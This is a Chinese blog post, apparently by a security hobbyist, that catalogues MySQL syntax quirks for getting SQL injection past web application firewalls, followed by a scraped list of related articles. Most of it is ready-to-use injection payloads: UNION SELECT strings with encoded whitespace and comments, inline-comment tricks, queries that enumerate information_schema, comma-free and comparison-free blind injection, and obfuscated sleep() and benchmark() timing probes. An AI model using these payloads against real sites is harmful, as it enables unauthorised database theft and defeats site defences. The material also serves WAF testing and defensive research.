0x01 背景

Mysql数据库特性探索,探索能够绕过WAF的数据库特性。

0x02 测试

常见有5个位置即:   SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

位置一:参数和union之间的位置

(1): 常见形式%20、/**/、/*!50000union*/等形式:

SELECT * FROM admin WHERE username = 1 union select 1,user() from admin

其他形式如:%1%20、%39%20、%40%20

(2)%0a 等空白字符:

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1%0aunion select 1,user() from admin

%23%0a

(3)浮点数形式 :1.1

SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin

SELECT * FROM admin WHERE username = 1.union select 1,user() from admin

其他形式如:%1%2e、%2%2e

(4)1E0的形式:

SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin

(5) \Nunion的形式:

SELECT * FROM admin WHERE username = \Nunion select 1,user() from admin

位置二:union和select之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union%a0select 1,user() from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)括号

SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))

select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))

位置三:select和查询参数之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union select%091,user() from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)其他字符

%21  ! 叹号

%2b  +  加号

%2d  -  减号

%40  @  电子邮件符号

%7e   ~  波浪号

SELECT * FROM admin WHERE username = 1 union select~1,user() from admin

(4)其他方式:

括号:  SELECT * FROM admin WHERE username = 1 union select(1),user() from admin

内联:  SELECT * FROM admin WHERE username = 1 union /*!12345select*/1,user() from admin

@字符:SELECT * FROM admin WHERE username = 1 union select@`1`,user() from admin

{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin

引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin

\N:    SELECT * FROM admin WHERE username = 1 union select\N,user() from admin

位置四:查询参数和from之间的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union select 1,user()%09from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)其他符号

波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select `schema_name`from information_schema.SCHEMATA limit 0,1))

SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin

内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/*!schema_name*/from information_schema.SCHEMATA limit 1,1))

{括号:     SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))

括号:      SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))

双引号:     SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin

括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin

破浪号加字母:   SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin

(4)浮点数、1E0的形式、\N形式

id=1 union%0cselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin

SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin

SELECT * FROM admin WHERE username = 1 union select user(),\Nfrom admin

位置五:from后面的位置

(1)空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

id=1 union select 1,user()%09from admin

%23%0a

(2)注释符

使用空白注释,MYSQL中可以利用的空白字符有:

/**/

/*anything*/

(3)其他字符

破浪号:      id=1 union select 1,(select(schema_name)from`information_schema`.SCHEMATA limit 0,1)

内联注释:   id=1 union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)

{括号:      id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)

括号:        id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)

同一个表的情况下,大小写字母加数字都可以

SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin

特性:%23%0a      %2d%2d%0a

0x03 函数

1、常见过滤函数

(1)字符串截取函数

Mid(version(),1,1)

Substr(version(),1,1)

Substring(version(),1,1)

Lpad(version(),1,1)

Rpad(version(),1,1)

Left(version(),1)

reverse(right(reverse(version()),1))

(2)字符串连接函数

concat(version(),'|',user());

concat_ws('|',1,2,3)

(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61)

2、过滤了特殊符号(如逗号)

(1)limit处的逗号: limit 1 offset 0

(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)

(3)union处的逗号: 通过join拼接。

SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b

(4)操作符<>被过滤

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
总结:使用greatest()绕过比较操作符。

3、部分函数构造

(1)sleep(5)/benchmark(10000000,SHA1(1))

id=1 xor sleep%23%0a(5)

id=1 xor sleep%2d%2d%0a(5)

id=1 xor sleep([%20]5)

id=1 xor benchmark%0a(10000000,SHA1(1))

id=1 xor sleep[空白字符](5)

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

4、select {x 1}形式

select{x[可填充字符]1}

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

%21  !

%2b   +

%2d   -

%40  @

%7e ~

持续更新中。。。。。。。。

关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

WAF Bypass数据库特性(Mysql探索篇)的更多相关文章

  1. WAF Bypass数据库特性(MSsql探索篇)

    0x01 背景 探索玩了Mysql特性,继续来探索一下MSsql特性. 0x02 测试 常见有5个位置即:select * from admin where id=1[位置一]union[位置二]se ...

  2. WAF Bypass数据库特性(Access探索篇)

    0x01 背景 无聊,测试了一下access特性 0x02 测试 常见有5个位置即:select * from admin where id=1[位置一]union[位置二]select[位置三]1, ...

  3. WAF Bypass数据库特性(Oracle探索篇)

    0x01 背景 oracle与mysql特性类似,半自动化fuzz了一下,记录成果. 0x02 测试 位置一:参数和union之间的位置 1)空白字符 Oracle中可以利用的空白字符有: %00   ...

  4. WAF Bypass 笔记(SQL注入篇)

    0x01 背景 waf Bypass 笔记 0x02 服务器特性 1.%特性(ASP+IIS) 在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF ...

  5. MySQL优化篇(一),我可以和面试官多聊几句吗?——SQL优化流程与优化数据库对象

    我可以和面试官多聊几句吗?只是想偷点技能过来.MySQL优化篇(基于MySQL8.0测试验证),上部分:优化SQL语句.数据库对象,MyISAM表锁和InnoDB锁问题. MyISAM表锁和InnoD ...

  6. 数据库【mysql篇】学习笔记

    Windows服务 -- 启动MySQL    net start mysql-- 创建Windows服务    sc create mysql binPath= mysqld_bin_path(注意 ...

  7. 数据库之mysql篇(1)—— 数据库管理系统简介/mysql的安装、配置

    说mysql之前,还是先说说数据库. 什么是数据库: 数据库(Database)是按照数据结构来组织.存储和管理数据的仓库,它产生于距今六十多年前,随着信息技术和市场的发展,特别是二十世纪九十年代以后 ...

  8. 数据库——MySQL——>Java篇

    MySQL MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是 ...

  9. MySQL 第一篇:初识数据库

    一 数据库管理软件的由来 基于我们之前所学,数据要想永久保存,都是保存于文件中,毫无疑问,一个文件仅仅只能存在于某一台机器上. 如果我们暂且忽略直接基于文件来存取数据的效率问题,并且假设程序所有的组件 ...

随机推荐

  1. PHP判断字符串的包含

    PHP语言是一个功能强大的嵌入式HTML脚本语言,它的易用性让许多程序员选择使用.PHP判断字符串的包含,可以使用PHP的内置函数strstr,strpos,stristr直接进行判断.也可以通过ex ...

  2. css实现三角形及应用示例

    css实现三角形,网上讲了很多,但我发现一般都是三角向上或者向下的,向左向右这两方向似乎讲得很少,本人试了一下,发现原来在IE下很难搞~~(万恶的IE)...css实现三角形的原理是:当元素的宽高为0 ...

  3. 用OpenGL实现跳跃的立体小球

    一.目的 掌握OpenGL中显示列表对象的使用方法. 二.示例代码 Github地址 #include "stdafx.h" #include <GL/glut.h> ...

  4. tpshop商品属性表关系

    TPshop 里面的商品属性, 首先看看TPshop商品详情中的属性介绍, 纯展示给用户看的. 再来tpshop看看商品列表帅选页面的属性,可以根据属性帅选不同的商品 再来看看tpshop后台属性管理 ...

  5. Unity------Unity 脚本基类 MonoBehaviour 与 GameObject 的关系

    Unity 脚本基类 MonoBehaviour 与 GameObject 的关系 标签: unity脚本 2017-03-27 12:55 395人阅读 评论(0) 收藏 举报  分类: Unity ...

  6. Android开发之获取相册照片和获取拍照照片二

    转至 http://blog.csdn.net/beyond0525/article/details/8940840 上一篇文章中讲解了照相机获取照片的时候遇到了可能取得的uri为null的状态,并给 ...

  7. Ubuntu 14.04 安装 DevStack与遇到的的问题记录

    本文总结Ubuntu 14.04下部署DevStack的过程以及一些可能遇到的问题. 一.安装 以下的操作最好在普通用户下进行,至少在git clone devstack的时候使用普通用户,这样可以避 ...

  8. ARM mbed平台WIZwiki-W7500使用说明

    ARM mbed IDE 是ARM内核微控制器的在线开发工具,其站点是:http://developer.mbed.org. 站点提供了在线编译器,不须要本地安装编译器就可以进行开发,因此没有地点.时 ...

  9. js 四级联动

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head ...

  10. Linux语言设置修改乱码

    1.system-config-language 命令语言改成英文.(安装yum install  system-config-language) 如何系统安装后,使用的语言不是自己想要的.但是在图形 ...